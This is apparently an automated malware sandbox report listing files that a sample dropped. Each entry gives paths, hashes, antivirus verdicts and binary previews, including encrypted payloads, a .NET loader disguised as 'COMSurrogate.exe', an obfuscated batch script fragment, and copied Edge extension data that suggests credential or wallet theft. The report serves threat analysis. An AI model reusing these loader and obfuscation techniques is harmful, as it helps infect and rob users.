                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\Dr.com
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):6588393
                                                              Entropy (8bit):7.999970025562485
                                                              Encrypted:true
                                                              SSDEEP:196608:PSPuMRQDLs38E6dN9WngQLZ6fcjzSYSKWV4F5C8wBhgbB:PCRYLW68gQLZ6f6BECFY8wBhgbB
                                                              MD5:0A1E63FC10DD1DBB8B2DB81E2388BF99
                                                              SHA1:67AD39AABBF4875BC1B165CCD5AFC40194D1D3C8
                                                              SHA-256:122991768F589431B9166A4E22523BF48A53EFFF73FC2B191955E604196541B7
                                                              SHA-512:94C50F06E1D157381B9D0746044B5D015E2946B44291D92739783CB3ED9E91371CF7D1B981D3108D910D7A7000810FE69FBE6590F9A84F822B671866AB9DB5FC
                                                              Malicious:false
                                                              Preview:.*.;........<$D.\..n.X...o.V*N...s:1.p.(0:.4.8C.w.t..j$.....^o.1.,.....7X=.BM.a,f.`..}xOv...:l..M...z.d..<,U.\.?ZU...S..zs.....l..J.U..{nQ.@K..,{...R._.oX.2."k.P.R...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Ma......m@nD<....d....s..........x.C\X...........J...+....^.w.5............?r.Q..m;.....w.....;.&.......2..g2"~?]...PkA...p...G................@.......@......kC.R......%x....}...q..U-...(....%....V..?p.he....,.. .o.UA..1.An....H.`>$O.ng.)........s+V.p...'|.G...!.$..n.K...;E..<J.W.C3.lY....A8>..>..1...32...T8}..,...E.......\S..i=.#\In>3(..?....d..?..B-...@...s...@......m...........5...x..2).U.j....r>.,#.~.|.b.x...<#hg..|.D.... ..z.{F..P(G.......u.P...j_qC....X....&..KT.|.!.P.is.y.+.....V..42m#NM.9.R.5...W....C.S..(J H-..^..z.P.Y....L....N....{....C.T8u7...p.......J..~..S.0y(._2~........=..$.n5O..^h......6P...66>...=......o.X.........Z.Y>Q..../6.t-3.....`.:.......d....s....u.......X...=.9[...."... 5

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:data
                                                              Category:modified
                                                              Size (bytes):15612
                                                              Entropy (8bit):5.0007665989277985
                                                              Encrypted:false
                                                              SSDEEP:384:d1VoGIpN6KQkj2qkjh4iUxehQVKoxOdBMNXp5rvOjJiYo0ib4J:d1V3IpNBQkj2Ph4iUxehYKoxOdBMNZd4
                                                              MD5:A8D66A40EEA8831B03CDC478ED797E6E
                                                              SHA1:F2DB655B7A8F6A211E8F6D95B50B3D7BC325F7CE
                                                              SHA-256:09178396408F3B27CBE725A8A455B37894EE4A3DBFCC34636DD23E96AB97C8CA
                                                              SHA-512:33C1DA734E45158C61EA1679202BAA3813C71901C9B5D481A09F244C9653C4DD76C1CD12378468579595C3C8CC92F60E868982BB26236841CDAE7BDB5B455C8F
                                                              Malicious:false
                                                              Preview:PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):1768
                                                              Entropy (8bit):5.439083825530927
                                                              Encrypted:false
                                                              SSDEEP:48:Q1aWSU4y4RQmFoUeWmfmZ9tK8NWR8ON4AB6byAs:QsLHyIFKL3OZ2KWAbyP
                                                              MD5:0427480C34CA440DF29C11EEB7C5DEBD
                                                              SHA1:4CD79E5167A9DAEF65C273F0D4791EAD34AB626E
                                                              SHA-256:FD66CAB6320837B7F03E9062D7D952C1AF4389F79336E24158786E423BF7216C
                                                              SHA-512:7C6649519F4664C3C61F9245A14FBFA0F66FDB403A847963EE50514DB5F255DF93CCF940F51BDA5D838BE78DC7E77ED583912A8F8AFBE2716FD0D3CDCE7A5DDE
                                                              Malicious:false
                                                              Preview:@...e...........S....................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                              C:\Users\user\AppData\Local\Temp\491505\B

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\cmd.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):6588393
                                                              Entropy (8bit):7.999970025562485
                                                              Encrypted:true
                                                              SSDEEP:196608:PSPuMRQDLs38E6dN9WngQLZ6fcjzSYSKWV4F5C8wBhgbB:PCRYLW68gQLZ6f6BECFY8wBhgbB
                                                              MD5:0A1E63FC10DD1DBB8B2DB81E2388BF99
                                                              SHA1:67AD39AABBF4875BC1B165CCD5AFC40194D1D3C8
                                                              SHA-256:122991768F589431B9166A4E22523BF48A53EFFF73FC2B191955E604196541B7
                                                              SHA-512:94C50F06E1D157381B9D0746044B5D015E2946B44291D92739783CB3ED9E91371CF7D1B981D3108D910D7A7000810FE69FBE6590F9A84F822B671866AB9DB5FC
                                                              Malicious:false
                                                              Preview:.*.;........<$D.\..n.X...o.V*N...s:1.p.(0:.4.8C.w.t..j$.....^o.1.,.....7X=.BM.a,f.`..}xOv...:l..M...z.d..<,U.\.?ZU...S..zs.....l..J.U..{nQ.@K..,{...R._.oX.2."k.P.R...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Ma......m@nD<....d....s..........x.C\X...........J...+....^.w.5............?r.Q..m;.....w.....;.&.......2..g2"~?]...PkA...p...G................@.......@......kC.R......%x....}...q..U-...(....%....V..?p.he....,.. .o.UA..1.An....H.`>$O.ng.)........s+V.p...'|.G...!.$..n.K...;E..<J.W.C3.lY....A8>..>..1...32...T8}..,...E.......\S..i=.#\In>3(..?....d..?..B-...@...s...@......m...........5...x..2).U.j....r>.,#.~.|.b.x...<#hg..|.D.... ..z.{F..P(G.......u.P...j_qC....X....&..KT.|.!.P.is.y.+.....V..42m#NM.9.R.5...W....C.S..(J H-..^..z.P.Y....L....N....{....C.T8u7...p.......J..~..S.0y(._2~........=..$.n5O..^h......6P...66>...=......o.X.........Z.Y>Q..../6.t-3.....`.:.......d....s....u.......X...=.9[...."... 5

                                                              C:\Users\user\AppData\Local\Temp\491505\Dr.com

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\cmd.exe
                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                              Category:modified
                                                              Size (bytes):893608
                                                              Entropy (8bit):6.620254876639106
                                                              Encrypted:false
                                                              SSDEEP:12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
                                                              MD5:6EE7DDEBFF0A2B78C7AC30F6E00D1D11
                                                              SHA1:F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
                                                              SHA-256:865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
                                                              SHA-512:57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 3%
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                              C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\Dr.com
                                                              File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):65440
                                                              Entropy (8bit):6.049806962480652
                                                              Encrypted:false
                                                              SSDEEP:768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY
                                                              MD5:0D5DF43AF2916F47D00C1573797C1A13
                                                              SHA1:230AB5559E806574D26B4C20847C368ED55483B0
                                                              SHA-256:C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC
                                                              SHA-512:F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2
                                                              Malicious:false
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F....`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P...*..0.."........(......-.r...p.rI..p(....s....z.*...0..........(....~P.....o......*..(....*n(.....(..........%...(....*~(.....(..........%...%...(....*.(.....(..........%...%...%...(....*V.(......}Q.....}R...*..{Q...*..{R...*...0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

                                                              C:\Users\user\AppData\Local\Temp\ArchiveContents\Edge\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\xcopy.exe
                                                              File Type:ASCII text
                                                              Category:dropped
                                                              Size (bytes):16
                                                              Entropy (8bit):3.2743974703476995
                                                              Encrypted:false
                                                              SSDEEP:3:1sjgWIV//Uv:1qIFUv
                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                              Malicious:false
                                                              Preview:MANIFEST-000001.

                                                              C:\Users\user\AppData\Local\Temp\ArchiveContents\Edge\jdiccldimpdaibmpdkjnbmckianbfold\LOG

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\xcopy.exe
                                                              File Type:ASCII text
                                                              Category:dropped
                                                              Size (bytes):371
                                                              Entropy (8bit):5.243846994978664
                                                              Encrypted:false
                                                              SSDEEP:6:kuZXQ81cNwi23oH+Tcwt8age8Y55HEZzXELIx2KLlTZXSyQ+q2PcNwi23oH+Tcwo:kutjZYeb8rcHEZrEkVLxt7VvLZYeb8rX
                                                              MD5:1277EEE3F3B029DBD67B5A0D4E4CBCF9
                                                              SHA1:401308D391F1DECE76E1760A71E76C21D1FC4FA5
                                                              SHA-256:7CDD1313656A34137AFD0435B800361BD4264DF995D545F8828191CFB9AD17D7
                                                              SHA-512:96B4E028A0B3143DA86070D5F4C9C50805A22E58DB43D7AD54434638A49276F4675612663A6279FCCAC83A55DC2D8CF34EFAAC05ADE58007C74029FD2651CBCC
                                                              Malicious:false
                                                              Preview:2023/10/05-08:40:17.682 4f8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold since it was missing..2023/10/05-08:40:17.696 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.

                                                              C:\Users\user\AppData\Local\Temp\ArchiveContents\Edge\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\xcopy.exe
                                                              File Type:OpenPGP Secret Key
                                                              Category:dropped
                                                              Size (bytes):41
                                                              Entropy (8bit):4.704993772857998
                                                              Encrypted:false
                                                              SSDEEP:3:scoBAIxQRDKIVjn:scoBY7jn
                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                              Malicious:false
                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                              C:\Users\user\AppData\Local\Temp\Artistic

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:DOS executable (COM, 0x8C-variant)
                                                              Category:dropped
                                                              Size (bytes):737280
                                                              Entropy (8bit):7.999727342265165
                                                              Encrypted:true
                                                              SSDEEP:12288:h5CRlmFSXGB+TSX9v2Ub8eS08hc9JDTTkL3+4Xymvs0w5uXc6RYGOTvEgdgLU:uMo4QSN+ES080H23fipuXc6VOjuLU
                                                              MD5:D35007CC8B2860B1FE9EE861E1F2846D
                                                              SHA1:58638FD185601506B3B13FE254065AEB7EDFF28C
                                                              SHA-256:DE1E4DBE18F0B926B49ACEB10157BC7F542409BAD6242422EFEF3B831608A037
                                                              SHA-512:45F851201656CB19C89274D124A7625A4C9FE12F412616A84458AA1857C61455126264416FF7FA1C9FFA99B994613BAECFACD1F8179240A5021C7E5B867EA068
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                              Preview:..V.Wa.A&..~.O........*.qF..<<.O...K.....*Rh..?x...=..d..d.6w.5.*...W.....`...i...cC.............~..EnB.L.8...3.lmB.....&w.eb.....t.g3......i26../K!..t.z.:..b..t..".H.Q.9O.c.....NP.......;.G.[.....,_.&o...Mf/..#zM.].C..S.#G.?..5f......m...|Q..S\.|ks..x.....I^..ov...f..-.....)..x.|.X?..g1...r./......V.W...=q{..F.T`...&.....E..OmX.....o...0..j]M......U.........k..6.....,4p.~Z......9..c.e....S.....5...:..-.b...IWd.`....t.">.9..G'v...F....H..!........+^...G..M}.._..I...~n.tJ[.p...m...../.....x.d......w7....Z).wv..t..U..L...Bf..|..;....h]CV .......5.8b`.w.....5.S=....v....#.J*..9.!z..8O..P.....j....z.....K;....q7@LG.\.<.......x...w./T.d..!.G..\#.....`.....b....i...~3,.......L..?...VuXNR..3.[._.....(.nH.$..4.?..-...z.L3......D^R`~...{d.:.{.2c.Bj....z*.w.i.....7..V...+.g../....4...N.oe.TVb......I...x.sh....\. .....?.3X..`]G..[.fP.#;..GI.{.r.1...j..d........\^#..P.u.1....n..Q2.4!.S..........`..{D.P..6.-$..B..v).../...h.....\C...U..

                                                              C:\Users\user\AppData\Local\Temp\Audit

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:ASCII text, with very long lines (677), with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):14583
                                                              Entropy (8bit):5.147734083982425
                                                              Encrypted:false
                                                              SSDEEP:384:Wz6fxVoipam62OZ6gDUrE4Tp9TQIFQFwAm:kSf3pF62OZHI44NVeFS
                                                              MD5:9DA23439E34B0498B82AE193C5A8F3A8
                                                              SHA1:AE20BBE7FAC03C94E42F4DD206D89003FAAE7899
                                                              SHA-256:0F241CC0324871A1A900A7AC0EDF889A8D12875B1072F44856CC979A4B7A77AC
                                                              SHA-512:CD4B262753B4F5F1DAC09C20FA64EBDEE00CF4A3FCE92287A7439DF943EA65BDF8569F541C2668B2164139B91FACCCFB3C98DB8AD8F686637F4E317583CC98A2
                                                              Malicious:false
                                                              Preview:Set Amount=5..QBNRoutes-Clicks-..eTHomework-Ups-Slight-Suspension-Partially-Additionally-Subsequent-..InSSurfing-Pn-Chi-Cooked-Mainstream-Collaborative-Morocco-..wPDiagnostic-Nr-Limitations-Medicine-Graphics-Tracking-Sheep-Anderson-Stakeholders-..bFXcGenerates-Joan-Menu-Literary-Wallpaper-Exam-Seasons-..HtMilitary-..SnJOutsourcing-Accessibility-Minus-Disk-Bw-Instructions-Invited-..SvqHometown-Band-Counted-Schema-Starts-Seek-Blank-Pages-..QGbSummary-Janet-Fatal-Fire-Com-..Set Tokyo=l..QpOut-Eye-Copied-Wto-Prescribed-Turbo-Narrow-..gwbOutcome-Examination-Pix-..aWCDip-Serving-..FZAcre-Satellite-Grade-..uXfDegree-Olympics-..ltCSLimited-Combo-Stanford-Disorder-Rank-Cannon-Veterans-Come-Hindu-..hrSolving-Encounter-None-Xanax-Hosts-..QeLVWaste-Joseph-Barbie-Applies-Lenses-..RqEra-Ears-Stone-..Set Degree=r..RPtAttend-Attribute-Tires-Ti-Rep-Genome-..JDpPenn-Prep-Scuba-Millennium-Probe-Herb-Underlying-..mwmdUndertake-Bosnia-Ministries-Dutch-Official-Designs-Accuracy-..HDoWebster-Atom-Rf-Topless-

                                                              C:\Users\user\AppData\Local\Temp\Audit.cmd

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\cmd.exe
                                                              File Type:ASCII text, with very long lines (677), with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):14583
                                                              Entropy (8bit):5.147734083982425
                                                              Encrypted:false
                                                              SSDEEP:384:Wz6fxVoipam62OZ6gDUrE4Tp9TQIFQFwAm:kSf3pF62OZHI44NVeFS
                                                              MD5:9DA23439E34B0498B82AE193C5A8F3A8
                                                              SHA1:AE20BBE7FAC03C94E42F4DD206D89003FAAE7899
                                                              SHA-256:0F241CC0324871A1A900A7AC0EDF889A8D12875B1072F44856CC979A4B7A77AC
                                                              SHA-512:CD4B262753B4F5F1DAC09C20FA64EBDEE00CF4A3FCE92287A7439DF943EA65BDF8569F541C2668B2164139B91FACCCFB3C98DB8AD8F686637F4E317583CC98A2
                                                              Malicious:false
                                                              Preview:Set Amount=5..QBNRoutes-Clicks-..eTHomework-Ups-Slight-Suspension-Partially-Additionally-Subsequent-..InSSurfing-Pn-Chi-Cooked-Mainstream-Collaborative-Morocco-..wPDiagnostic-Nr-Limitations-Medicine-Graphics-Tracking-Sheep-Anderson-Stakeholders-..bFXcGenerates-Joan-Menu-Literary-Wallpaper-Exam-Seasons-..HtMilitary-..SnJOutsourcing-Accessibility-Minus-Disk-Bw-Instructions-Invited-..SvqHometown-Band-Counted-Schema-Starts-Seek-Blank-Pages-..QGbSummary-Janet-Fatal-Fire-Com-..Set Tokyo=l..QpOut-Eye-Copied-Wto-Prescribed-Turbo-Narrow-..gwbOutcome-Examination-Pix-..aWCDip-Serving-..FZAcre-Satellite-Grade-..uXfDegree-Olympics-..ltCSLimited-Combo-Stanford-Disorder-Rank-Cannon-Veterans-Come-Hindu-..hrSolving-Encounter-None-Xanax-Hosts-..QeLVWaste-Joseph-Barbie-Applies-Lenses-..RqEra-Ears-Stone-..Set Degree=r..RPtAttend-Attribute-Tires-Ti-Rep-Genome-..JDpPenn-Prep-Scuba-Millennium-Probe-Herb-Underlying-..mwmdUndertake-Bosnia-Ministries-Dutch-Official-Designs-Accuracy-..HDoWebster-Atom-Rf-Topless-

                                                              C:\Users\user\AppData\Local\Temp\COMSurrogate.exe

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):167936
                                                              Entropy (8bit):7.929204086294564
                                                              Encrypted:false
                                                              SSDEEP:3072:DlxjOCto1mb719Iz9cIp23YWMBjk3RzYISn7ApmHVVjKu:5xjD+sF9IKIgnwkRUbAI1F
                                                              MD5:77334F046A50530CDC6E585E59165264
                                                              SHA1:657A584EAFE86DF36E719526D445B570E135D217
                                                              SHA-256:EB6C487307C52793E0BC4D6A74770BBEA2322F32EDC466B25ABACEC3DD0E9C08
                                                              SHA-512:97936DD74D7EEF8D69DAE0D83B6D1554BD54D5302B5B2FF886FF66C040B083D7D086089DE12B57A491CF7269A7D076E4D2A52839AAAC519386B77297BC3A5C90
                                                              Malicious:true
                                                              Yara Hits:
                                                              • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe, Author: Joe Security
                                                              Antivirus:
                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                              • Antivirus: ReversingLabs, Detection: 8%
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."...0.................. ....@...... ....................................`...@......@............... ..............................................................\...T............................................................ ..P............text...).... ...................... ..`.rsrc...............................@..@........................................H..........."...........+...U....................................................(....*n(....(....o.... .'..(....+..0..3.......r...p.(....o.....~....r...p.o......,....o......&..*.........//.......0../.........(....}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*..(....*.ry..p.....r...p.....r...p.......(....r/..p(.........*....0..:........{......,..s....}......,Nr7..p~....rq..p(...........%.r...p~....s.........%.r...p.{....s

                                                              C:\Users\user\AppData\Local\Temp\Commissioner

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):893608
                                                              Entropy (8bit):6.620254876639106
                                                              Encrypted:false
                                                              SSDEEP:12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
                                                              MD5:6EE7DDEBFF0A2B78C7AC30F6E00D1D11
                                                              SHA1:F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
                                                              SHA-256:865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
                                                              SHA-512:57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 3%
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                              C:\Users\user\AppData\Local\Temp\Dentists

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):936960
                                                              Entropy (8bit):7.999787839838031
                                                              Encrypted:true
                                                              SSDEEP:24576:YUAtmMemaEnWBr7IggzgA28HTzdyF+Tudc0:0tBzWZIPgOzzoF+TAc0
                                                              MD5:895C5374A042A9E6C78C673690CD2275
                                                              SHA1:9DFE1B532F958F678DE2BAC7C74646E007A8FA14
                                                              SHA-256:226099AAC21E8D4A671A68B37D204339703FB696B6CC5AA30311FB55D6AB2147
                                                              SHA-512:130AF34BB1D12DB8E86B930D8E490754687E1381A0104AC4C98CC2F02FF7FC4ED9E1D549121A013E1C32663A00D1DC8EB20D2F9831FEB3C7EB17BF61A1D8D52C
                                                              Malicious:false
                                                              Preview:.*.;........<$D.\..n.X...o.V*N...s:1.p.(0:.4.8C.w.t..j$.....^o.1.,.....7X=.BM.a,f.`..}xOv...:l..M...z.d..<,U.\.?ZU...S..zs.....l..J.U..{nQ.@K..,{...R._.oX.2."k.P.R...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Ma......m@nD<....d....s..........x.C\X...........J...+....^.w.5............?r.Q..m;.....w.....;.&.......2..g2"~?]...PkA...p...G................@.......@......kC.R......%x....}...q..U-...(....%....V..?p.he....,.. .o.UA..1.An....H.`>$O.ng.)........s+V.p...'|.G...!.$..n.K...;E..<J.W.C3.lY....A8>..>..1...32...T8}..,...E.......\S..i=.#\In>3(..?....d..?..B-...@...s...@......m...........5...x..2).U.j....r>.,#.~.|.b.x...<#hg..|.D.... ..z.{F..P(G.......u.P...j_qC....X....&..KT.|.!.P.is.y.+.....V..42m#NM.9.R.5...W....C.S..(J H-..^..z.P.Y....L....N....{....C.T8u7...p.......J..~..S.0y(._2~........=..$.n5O..^h......6P...66>...=......o.X.........Z.Y>Q..../6.t-3.....`.:.......d....s....u.......X...=.9[...."... 5

                                                              C:\Users\user\AppData\Local\Temp\Disturbed

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):924672
                                                              Entropy (8bit):7.9997815054278165
                                                              Encrypted:true
                                                              SSDEEP:24576:BRDoeVqsqRauiMlgvR/scK1gE6dN3196sJVKmcp9oxSpeYCWi+INv1QH:BRDoeV7+auZwkcKuE6dN9UuSHCWi+I2
                                                              MD5:0E2DF9A4F4D78AD0299F0377D417B39E
                                                              SHA1:A2452AB3B04B480DFC2A58A416762E280254751F
                                                              SHA-256:8834F63F09734B9F284437F26CBA4909CE9AE1ACEAFA27E2BCD7531C1A7479DF
                                                              SHA-512:D8194F24CC02FC030C7CF1DAB5970257A79B8BCC887A8FF1CCD104E94EA809DCD266B056C80E6A0E73CBA71F81E654389025C939E3135F6FAFCA9D51737812B8
                                                              Malicious:false
                                                              Preview:Z#i....m.4o....Z......z...F...+ G.Z.K.'w.....gp....OeVD....c.$.z.L........g...,n../.S..n..=..Q_:..3........B..!...2{...1..2.;.5....W...gO...r*..w.k...D..o..8...._..>...-...T>..G3.>......|.2.1<.P..!gru.Z...!.V.Knd...pS.....3..y....N..|.........wkCy@..@.....2G..NW..(..7=O.....[.y\.L...k...8$4...s!n.O3.D..D.*..kM..T=.t..$.j..?...tm.YL..cp.H...o...@...5.j...>dt.#2V...mC.!.....W..j..Z.GL..Z$.....SGKt"..q..3.........H..h..7...).......&..9..QC..E_Y...6.!.k...b....7..5......6Z./q.._.a.}..>.&ZO.y.4...n.jE.4.'.".nC.5..O.)r...v.!.(.[6N.J....vv...e.0..x..C.............^].m...q.,..q.... /.x..j.9{(K........."..1Ul.|.f....!:.(...`?...z..aQ.om.K.yR.....A...W...K.... *..W...J|7..4.C...1..S._.I......h....sM...I.....`Wp..'.X.#.,40y8.B..;.`...R......F...o....Q...{.s..w2Lqq./9...N..b......../BZy.....O......Mh...........%.V}..q..HnA..Y{Q\!.o_. LEc..."...'..S03.E1.h*....^.........Kr.{#t.>...v...a.....a.:......F...p.G....q.Y.9..JJ...o.x.....at.<dgTW

                                                              C:\Users\user\AppData\Local\Temp\Flavor

                                                              Download File
                                                              Process:C:\Users\user\Desktop\File.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):608256
                                                              Entropy (8bit):7.999697266277862
                                                              Encrypted:true
                                                              SSDEEP:12288:Kjt154JaagocQMXyhq6csxBzOikOQm8uDfFQkcSUxYw16p:ut15vxocQMXyhdx5mBm8ueBBY1
                                                              MD5:D9182F7A263F19B9876E7E1568E6C760
                                                              SHA1:D0683B5A7247A2F4A69473165D2C2649F2E1C01F
                                                              SHA-256:4EFFF79E94F136F9BBAED62501810937785831B8C10EE9EB675CEAE24CF3C4C9
                                                              SHA-512:85582B94DA822580EB26BC477440D87FB0A9ED98E3B75166CD96C2A18C88367C8BDD808FC43C52C2078E625EFD81983E9F2E733272289833700649AD58A96A9B
                                                              Malicious:false
